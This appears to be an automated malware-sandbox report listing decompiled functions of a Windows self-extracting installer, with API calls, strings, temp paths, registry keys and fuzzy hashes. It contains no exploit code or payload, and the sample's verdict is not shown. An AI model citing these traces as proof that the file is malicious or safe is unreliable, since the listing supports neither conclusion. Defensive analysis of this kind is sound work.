Part of subcall function 00AF468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00AF46C3
Part of subcall function 00AF468F: LoadResource.KERNEL32(00000000,00000000,?,00AF2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00AF46CC
Part of subcall function 00AF468F: LockResource.KERNEL32(00000000,?,00AF2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00AF46D3
Part of subcall function 00AF468F: memcpy_s.MSVCRT ref: 00AF46E5
Part of subcall function 00AF468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 00AF46EF

FindResourceA.KERNEL32(00000000,CABINET,0000000A), ref: 00AF4FFE
LoadResource.KERNEL32(00000000,00000000), ref: 00AF5006
LockResource.KERNEL32(00000000), ref: 00AF500D
GetDlgItem.USER32(00000000,00000842), ref: 00AF5030
ShowWindow.USER32(00000000), ref: 00AF5037
GetDlgItem.USER32(00000841,00000005), ref: 00AF504A
ShowWindow.USER32(00000000), ref: 00AF5051
FreeResource.KERNEL32(00000000,00000000,00000010,00000000), ref: 00AF5111
SendMessageA.USER32(00000FA1,00000000,00000000,00000000), ref: 00AF5159

Strings

CABINET, xrefs: 00AF4FE6, 00AF4FF7
*MEMCAB, xrefs: 00AF50C7

Memory Dump Source

Source File: 00000002.00000002.262879676.0000000000AF1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.262876912.0000000000AF0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262882602.0000000000AF8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_v5523814.jbxd

Similarity

API ID: Resource$Find$FreeItemLoadLockShowWindow$MessageSendSizeofmemcpy_s
String ID: *MEMCAB$CABINET
API String ID: 1305606123-2642027498
Opcode ID: 747fa3f5a9cc53f912495ae77e32c46d453c03a49efda84668c83e3e90dd2bd8
Instruction ID: 5712f757d17309e3aa4d61b1808a2f72d0359e3b157d22213f757f2d88d807bc
Opcode Fuzzy Hash: 747fa3f5a9cc53f912495ae77e32c46d453c03a49efda84668c83e3e90dd2bd8
Instruction Fuzzy Hash: 4931D8B0B407097FD720EBF5AD89FB7369CB758795F040624FB05A21A1DBB99C02C658

Uniqueness

Uniqueness Score: -1.00%

Function 00AF53A1 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 71
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00AF171E: _vsnprintf.MSVCRT ref: 00AF1750

RemoveDirectoryA.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\IXP002.TMP\,?,00000001,C:\Users\user\AppData\Local\Temp\IXP002.TMP\,00000000), ref: 00AF53FB
GetFileAttributesA.KERNELBASE(?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP002.TMP\,00000000), ref: 00AF5402
GetTempFileNameA.KERNEL32(C:\Users\user\AppData\Local\Temp\IXP002.TMP\,IXP,00000000,?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP002.TMP\,00000000), ref: 00AF541F
DeleteFileA.KERNEL32(?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP002.TMP\,00000000), ref: 00AF542B
CreateDirectoryA.KERNEL32(?,00000000,?,00000001,C:\Users\user\AppData\Local\Temp\IXP002.TMP\,00000000), ref: 00AF5434
CreateDirectoryA.KERNELBASE(?,00000000,?,00000001,C:\Users\user\AppData\Local\Temp\IXP002.TMP\,00000000), ref: 00AF5452

Strings

IXP, xrefs: 00AF5419
IXP%03d.TMP, xrefs: 00AF53C0
C:\Users\user\AppData\Local\Temp\IXP002.TMP\, xrefs: 00AF53B7, 00AF53E1, 00AF541E

Memory Dump Source

Source File: 00000002.00000002.262879676.0000000000AF1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.262876912.0000000000AF0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262882602.0000000000AF8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_v5523814.jbxd

Similarity

API ID: DirectoryFile$Create$AttributesDeleteNameRemoveTemp_vsnprintf
String ID: C:\Users\user\AppData\Local\Temp\IXP002.TMP\$IXP$IXP%03d.TMP
API String ID: 1082909758-7194216
Opcode ID: a494e2d608945321ac603debbd66278e1aca95287f513d0231fbb40679537b28
Instruction ID: 43c314e42cfae207f5e002f88c05dfd6dba1aaefdf578dfb614f7aedffc99211
Opcode Fuzzy Hash: a494e2d608945321ac603debbd66278e1aca95287f513d0231fbb40679537b28
Instruction Fuzzy Hash: E211E2B170050877D320EBF6AC49FFB766DEBD1362F000125B74AD2190CE748943C6A5

Uniqueness

Uniqueness Score: -1.00%

Function 00AF5467 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 101
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?,?,?,?,C:\Users\user\AppData\Local\Temp\IXP002.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP002.TMP\,00000000), ref: 00AF54C9
CreateDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\IXP002.TMP\,00000000,C:\Users\user\AppData\Local\Temp\IXP002.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP002.TMP\,00000000), ref: 00AF553D
RemoveDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\IXP002.TMP\,00000000,C:\Users\user\AppData\Local\Temp\IXP002.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP002.TMP\,00000000), ref: 00AF556F

Part of subcall function 00AF53A1: RemoveDirectoryA.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\IXP002.TMP\,?,00000001,C:\Users\user\AppData\Local\Temp\IXP002.TMP\,00000000), ref: 00AF53FB
Part of subcall function 00AF53A1: GetFileAttributesA.KERNELBASE(?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP002.TMP\,00000000), ref: 00AF5402
Part of subcall function 00AF53A1: GetTempFileNameA.KERNEL32(C:\Users\user\AppData\Local\Temp\IXP002.TMP\,IXP,00000000,?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP002.TMP\,00000000), ref: 00AF541F
Part of subcall function 00AF53A1: DeleteFileA.KERNEL32(?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP002.TMP\,00000000), ref: 00AF542B
Part of subcall function 00AF53A1: CreateDirectoryA.KERNEL32(?,00000000,?,00000001,C:\Users\user\AppData\Local\Temp\IXP002.TMP\,00000000), ref: 00AF5434

Strings

alpha, xrefs: 00AF54F0
mips, xrefs: 00AF54F7
ppc, xrefs: 00AF54E9
C:\Users\user\AppData\Local\Temp\IXP002.TMP\, xrefs: 00AF547D, 00AF5481, 00AF54AB, 00AF551C, 00AF553C, 00AF5568
i386, xrefs: 00AF54FE

Memory Dump Source

Source File: 00000002.00000002.262879676.0000000000AF1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.262876912.0000000000AF0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262882602.0000000000AF8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_v5523814.jbxd

Similarity

API ID: Directory$File$CreateRemove$AttributesDeleteInfoNameSystemTemp
String ID: C:\Users\user\AppData\Local\Temp\IXP002.TMP\$alpha$i386$mips$ppc
API String ID: 1979080616-3696344869
Opcode ID: 2606c9358e22a4259e6eaff4da4015e5aeca36bb88de1726252888e0a5f16335
Instruction ID: c778c1f8a888c8fb474c1e2d9c0c4739464fc86b98e7718fa52837f9151261a5
Opcode Fuzzy Hash: 2606c9358e22a4259e6eaff4da4015e5aeca36bb88de1726252888e0a5f16335
Instruction Fuzzy Hash: 6131F771F00A0DABCF14ABF99D44A7FB7ABAB91341F14022AB706D6550DF74CE02C695

Uniqueness

Uniqueness Score: -1.00%

Function 00AF256D Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 75
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNELBASE(80000002,System\CurrentControlSet\Control\Session Manager,00000000,00020019,?,00000000,00AF4096,00AF4096,?,00AF1ED3,00000001,00000000,?,?,00AF4137,?), ref: 00AF25B2
RegQueryValueExA.KERNELBASE(?,PendingFileRenameOperations,00000000,00000000,00000000,00AF4096,?,00AF1ED3,00000001,00000000,?,?,00AF4137,?,00AF4096), ref: 00AF25CB
RegCloseKey.KERNELBASE(?,?,00AF1ED3,00000001,00000000,?,?,00AF4137,?,00AF4096), ref: 00AF25DD
RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Session Manager\FileRenameOperations,00000000,00020019,?,00000000,00AF4096,00AF4096,?,00AF1ED3,00000001,00000000,?,?,00AF4137,?), ref: 00AF25FF
RegQueryInfoKeyA.ADVAPI32(?,00000000,00000000,00000000,00000000,00000000,00000000,00AF4096,00000000,00000000,00000000,00000000,?,00AF1ED3,00000001,00000000), ref: 00AF261A

Strings

PendingFileRenameOperations, xrefs: 00AF25C3
System\CurrentControlSet\Control\Session Manager, xrefs: 00AF25A8
System\CurrentControlSet\Control\Session Manager\FileRenameOperations, xrefs: 00AF25F5

Memory Dump Source

Source File: 00000002.00000002.262879676.0000000000AF1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.262876912.0000000000AF0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262882602.0000000000AF8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_v5523814.jbxd

Similarity

API ID: OpenQuery$CloseInfoValue
String ID: PendingFileRenameOperations$System\CurrentControlSet\Control\Session Manager$System\CurrentControlSet\Control\Session Manager\FileRenameOperations
API String ID: 2209512893-559176071
Opcode ID: 6cf10807c4dad77362921aa4f96b118f546353b41b36a66eb5e06dc49631f29b
Instruction ID: b100f16e2723cf9a1097c4f5f05dc6b52f4a37e2cad9e39d197e79c2afca778f
Opcode Fuzzy Hash: 6cf10807c4dad77362921aa4f96b118f546353b41b36a66eb5e06dc49631f29b
Instruction Fuzzy Hash: 96118F75A0222CBBAF20DBD19C09EFBBE7CEF117A1F504055BA09E2040DA345E45D7A1

Uniqueness

Uniqueness Score: -1.00%

Function 00AF6A60 Relevance: 13.6, APIs: 9, Instructions: 138
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00AF7155: GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 00AF7182
Part of subcall function 00AF7155: GetCurrentProcessId.KERNEL32 ref: 00AF7191
Part of subcall function 00AF7155: GetCurrentThreadId.KERNEL32 ref: 00AF719A
Part of subcall function 00AF7155: GetTickCount.KERNEL32 ref: 00AF71A3
Part of subcall function 00AF7155: QueryPerformanceCounter.KERNEL32(?), ref: 00AF71B8

GetStartupInfoW.KERNEL32(?,00AF72B8,00000058), ref: 00AF6A7F
Sleep.KERNEL32(000003E8), ref: 00AF6AB4
_amsg_exit.MSVCRT ref: 00AF6AC9
_initterm.MSVCRT ref: 00AF6B1D
__IsNonwritableInCurrentImage.LIBCMT ref: 00AF6B49
exit.KERNELBASE ref: 00AF6BBF
_ismbblead.MSVCRT ref: 00AF6BDA

Memory Dump Source

Source File: 00000002.00000002.262879676.0000000000AF1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.262876912.0000000000AF0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262882602.0000000000AF8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_v5523814.jbxd

Similarity

API ID: Current$Time$CountCounterFileImageInfoNonwritablePerformanceProcessQuerySleepStartupSystemThreadTick_amsg_exit_initterm_ismbbleadexit
String ID:
API String ID: 836923961-0
Opcode ID: 7eb4cd63c1493918e2a662371eed92369b60e076753d867deedcb7470a63de39
Instruction ID: b414bcb6b9e3e5574654643c6716150151f2a1300330d1c9af22709995e1b64b
Opcode Fuzzy Hash: 7eb4cd63c1493918e2a662371eed92369b60e076753d867deedcb7470a63de39
Instruction Fuzzy Hash: B741B171A8422DDBDB21EBE8DD057BA77B4BB447A0F14411AFB41E7290CF784842CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00AF58C8 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 74
memoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LocalAlloc.KERNEL32(00000040,?,00000001,C:\Users\user\AppData\Local\Temp\IXP002.TMP\,00000000,C:\Users\user\AppData\Local\Temp\IXP002.TMP\,?,00AF5534,C:\Users\user\AppData\Local\Temp\IXP002.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP002.TMP\,00000000), ref: 00AF58E7
CreateFileA.KERNELBASE(00000000,40000000,00000000,00000000,00000001,04000080,00000000,TMP4351$.TMP,C:\Users\user\AppData\Local\Temp\IXP002.TMP\,?,00AF5534,C:\Users\user\AppData\Local\Temp\IXP002.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP002.TMP\,00000000), ref: 00AF5943
LocalFree.KERNEL32(00000000,?,00AF5534,C:\Users\user\AppData\Local\Temp\IXP002.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP002.TMP\,00000000), ref: 00AF594D
CloseHandle.KERNEL32(00000000,?,00AF5534,C:\Users\user\AppData\Local\Temp\IXP002.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP002.TMP\,00000000), ref: 00AF595C
GetFileAttributesA.KERNELBASE(C:\Users\user\AppData\Local\Temp\IXP002.TMP\,?,00AF5534,C:\Users\user\AppData\Local\Temp\IXP002.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP002.TMP\,00000000), ref: 00AF5963

Strings

TMP4351$.TMP, xrefs: 00AF5923
C:\Users\user\AppData\Local\Temp\IXP002.TMP\, xrefs: 00AF58CD, 00AF58CF, 00AF5919, 00AF5962

Memory Dump Source

Source File: 00000002.00000002.262879676.0000000000AF1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.262876912.0000000000AF0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262882602.0000000000AF8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_v5523814.jbxd

Similarity

API ID: FileLocal$AllocAttributesCloseCreateFreeHandle
String ID: C:\Users\user\AppData\Local\Temp\IXP002.TMP\$TMP4351$.TMP
API String ID: 747627703-394614654
Opcode ID: fe41000774408289ac911077baed3a40aefc86aaef53a6ec567f703ee5948b96
Instruction ID: 4808798df2a3bff216afd39afbfbf49291210278ed150b5115eb9312ed25d433
Opcode Fuzzy Hash: fe41000774408289ac911077baed3a40aefc86aaef53a6ec567f703ee5948b96
Instruction Fuzzy Hash: F911E671A00218ABC7249FF9AC4DBBB7F99DF86360F104615B719D31D1CBB09806C6A4

Uniqueness

Uniqueness Score: -1.00%

Function 00AF3FEF Relevance: 10.6, APIs: 7, Instructions: 97
processsynchronizationwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?,?,?,00000000), ref: 00AF4033
WaitForSingleObject.KERNEL32(?,000000FF), ref: 00AF4049
GetExitCodeProcess.KERNELBASE ref: 00AF405C
CloseHandle.KERNEL32(?), ref: 00AF409C
CloseHandle.KERNEL32(?), ref: 00AF40A8
GetLastError.KERNEL32(00000000,?,00000200,00000000), ref: 00AF40DC
FormatMessageA.KERNEL32(00001000,00000000,00000000), ref: 00AF40E9

Memory Dump Source

Source File: 00000002.00000002.262879676.0000000000AF1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.262876912.0000000000AF0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262882602.0000000000AF8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_v5523814.jbxd

Similarity

API ID: CloseHandleProcess$CodeCreateErrorExitFormatLastMessageObjectSingleWait
String ID:
API String ID: 3183975587-0
Opcode ID: 48b6bcb3ff993d5113a979a81c4904bd0ecd3670919bb1b4ab90c302129c552c
Instruction ID: 6ab1b5ae8fb0bcb2a1be5a563f5784b60538bcfc82a9659a7c6c6e572f6db188
Opcode Fuzzy Hash: 48b6bcb3ff993d5113a979a81c4904bd0ecd3670919bb1b4ab90c302129c552c
Instruction Fuzzy Hash: 4A31A27164021CABEB20DBE5DC49FFB777CEBA8700F1002A9F649D2161CA345D86CB15

Uniqueness

Uniqueness Score: -1.00%

Function 00AF51E5 Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 74
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00AF468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00AF46A0
Part of subcall function 00AF468F: SizeofResource.KERNEL32(00000000,00000000,?,00AF2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00AF46A9
Part of subcall function 00AF468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00AF46C3
Part of subcall function 00AF468F: LoadResource.KERNEL32(00000000,00000000,?,00AF2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00AF46CC
Part of subcall function 00AF468F: LockResource.KERNEL32(00000000,?,00AF2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00AF46D3
Part of subcall function 00AF468F: memcpy_s.MSVCRT ref: 00AF46E5
Part of subcall function 00AF468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 00AF46EF

LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000,00AF2F4D,?,00000002,00000000), ref: 00AF5201
LocalFree.KERNEL32(00000000,00000000,00000000,00000010,00000000,00000000), ref: 00AF5250

Part of subcall function 00AF44B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00AF4518
Part of subcall function 00AF44B9: MessageBoxA.USER32(?,?,no230,00010010), ref: 00AF4554

Part of subcall function 00AF6285: GetLastError.KERNEL32(00AF5BBC), ref: 00AF6285

Strings

<None>, xrefs: 00AF5262
UPROMPT, xrefs: 00AF51EF, 00AF5230

Memory Dump Source

Source File: 00000002.00000002.262879676.0000000000AF1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.262876912.0000000000AF0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262882602.0000000000AF8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_v5523814.jbxd

Similarity

API ID: Resource$FindFreeLoadLocal$AllocErrorLastLockMessageSizeofStringmemcpy_s
String ID: <None>$UPROMPT
API String ID: 957408736-2980973527
Opcode ID: d3b3ac0de9a74b6368454db86672971de73b8ba390bbe532bf5da4d4c0cdfa8d
Instruction ID: 0da85aacbfe14f1b92f8c37195358013f35680f5714bb01b71af89887e14d9cd
Opcode Fuzzy Hash: d3b3ac0de9a74b6368454db86672971de73b8ba390bbe532bf5da4d4c0cdfa8d
Instruction Fuzzy Hash: 421108B1A00609BFE354ABF15D45FBB619DEBD9380F104639F746D6190DF798C028138

Uniqueness

Uniqueness Score: -1.00%

Function 00AF52B6 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 65fileCOMMON

Download Yara Rule

APIs

SetFileAttributesA.KERNELBASE(00938E88,00000080,?,00000000), ref: 00AF52F2
DeleteFileA.KERNELBASE(00938E88), ref: 00AF52FA
LocalFree.KERNEL32(00938E88,?,00000000), ref: 00AF5305
LocalFree.KERNEL32(00938E88), ref: 00AF530C
SetCurrentDirectoryA.KERNELBASE(00AF11FC,?,C:\Users\user\AppData\Local\Temp\IXP002.TMP\), ref: 00AF5363

Strings

C:\Users\user\AppData\Local\Temp\IXP002.TMP\, xrefs: 00AF5334

Memory Dump Source

Source File: 00000002.00000002.262879676.0000000000AF1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.262876912.0000000000AF0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262882602.0000000000AF8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_v5523814.jbxd

Similarity

API ID: FileFreeLocal$AttributesCurrentDeleteDirectory
String ID: C:\Users\user\AppData\Local\Temp\IXP002.TMP\
API String ID: 2833751637-1610346413
Opcode ID: 0e2d13c356acc8c75b6452e6da428b1f532e5800a649b8b41ba8720058999ae9
Instruction ID: 049506419501572bc1260d5cf2587ee89e020cda576bd6fcec2392e0f9685977
Opcode Fuzzy Hash: 0e2d13c356acc8c75b6452e6da428b1f532e5800a649b8b41ba8720058999ae9
Instruction Fuzzy Hash: A021A13190060CDBDB20EBE8ED19BBA77A4FB14791F040259F7465A1A0CFB55C96CF40

Uniqueness

Uniqueness Score: -1.00%

Function 00AF1FE1 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 23registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNELBASE(80000002,Software\Microsoft\Windows\CurrentVersion\RunOnce,00000000,00020006,00AF538C,?,?,00AF538C), ref: 00AF2005
RegDeleteValueA.KERNELBASE(00AF538C,wextract_cleanup2,?,?,00AF538C), ref: 00AF2017
RegCloseKey.ADVAPI32(00AF538C,?,?,00AF538C), ref: 00AF2020

Strings

Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 00AF1FFB
wextract_cleanup2, xrefs: 00AF1FE7, 00AF200F

Memory Dump Source

Source File: 00000002.00000002.262879676.0000000000AF1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.262876912.0000000000AF0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262882602.0000000000AF8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_v5523814.jbxd

Similarity

API ID: CloseDeleteOpenValue
String ID: Software\Microsoft\Windows\CurrentVersion\RunOnce$wextract_cleanup2
API String ID: 849931509-3354236729
Opcode ID: 4d41e70f978c3a9327f5f4913c440fd1d218b7de2d84a39f23682f2fc6c3bc13
Instruction ID: 8659822f3991cbbab5e900c3fe3b8546222372082a52a1e22c90c23bc057ef33
Opcode Fuzzy Hash: 4d41e70f978c3a9327f5f4913c440fd1d218b7de2d84a39f23682f2fc6c3bc13
Instruction Fuzzy Hash: 34E04F7165031CBBDB21CBD0FC0AFB97B2AF710781F100194BA09A00A0EF655E15D705

Uniqueness

Uniqueness Score: -1.00%

Function 00AF4CD0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

SetFileAttributesA.KERNELBASE(?,?,?,?), ref: 00AF4DB5
SetDlgItemTextA.USER32(00000000,00000837,?), ref: 00AF4DDD

Strings

C:\Users\user\AppData\Local\Temp\IXP002.TMP\, xrefs: 00AF4D36, 00AF4DE3

Memory Dump Source

Source File: 00000002.00000002.262879676.0000000000AF1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.262876912.0000000000AF0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262882602.0000000000AF8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_v5523814.jbxd

Similarity

API ID: AttributesFileItemText
String ID: C:\Users\user\AppData\Local\Temp\IXP002.TMP\
API String ID: 3625706803-1610346413
Opcode ID: 0c941ddd6dba6db921ca4817a52d854c0abb78d97465bd9d71920a5577ce43c9
Instruction ID: 559849a18a322a2304e0cfd383bbc418ef87a55653ec92c9d548ef18700408ce
Opcode Fuzzy Hash: 0c941ddd6dba6db921ca4817a52d854c0abb78d97465bd9d71920a5577ce43c9
Instruction Fuzzy Hash: E841043620420D9BCB259FF8DE446F7B7A5EB4D300F044668FA8697295DB31EE4AC750

Uniqueness

Uniqueness Score: -1.00%

Function 00AF4C37 Relevance: 4.5, APIs: 3, Instructions: 39timeCOMMON

Download Yara Rule

APIs

DosDateTimeToFileTime.KERNEL32(?,?,?), ref: 00AF4C54
LocalFileTimeToFileTime.KERNEL32(?,?), ref: 00AF4C66
SetFileTime.KERNELBASE(?,?,?,?), ref: 00AF4C7E

Memory Dump Source

Source File: 00000002.00000002.262879676.0000000000AF1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.262876912.0000000000AF0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262882602.0000000000AF8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_v5523814.jbxd

Similarity

API ID: Time$File$DateLocal
String ID:
API String ID: 2071732420-0
Opcode ID: c4f2238b4064d4c6b58f360d85d8c576af87b6d04464089832d905607db94e9c
Instruction ID: 296bee66c71ca19e57fa5951a5d39d21e97dc28da07b6909137edaa70e4e98b3
Opcode Fuzzy Hash: c4f2238b4064d4c6b58f360d85d8c576af87b6d04464089832d905607db94e9c
Instruction Fuzzy Hash: 8BF0907260120CAF9B64EFF4CC48DFB77ACEB18340B44452ABA15C1050EA30E919C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 00AF487A Relevance: 3.1, APIs: 2, Instructions: 59fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(00008000,-80000000,00000000,00000000,?,00000080,00000000,00000000,00000000,00000000,00AF4A23,?,00AF4F67,*MEMCAB,00008000,00000180), ref: 00AF48DE
CreateFileA.KERNEL32(00008000,-80000000,00000000,00000000,?,00000080,00000000,?,00AF4F67,*MEMCAB,00008000,00000180), ref: 00AF4902

Memory Dump Source

Source File: 00000002.00000002.262879676.0000000000AF1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.262876912.0000000000AF0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262882602.0000000000AF8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_v5523814.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
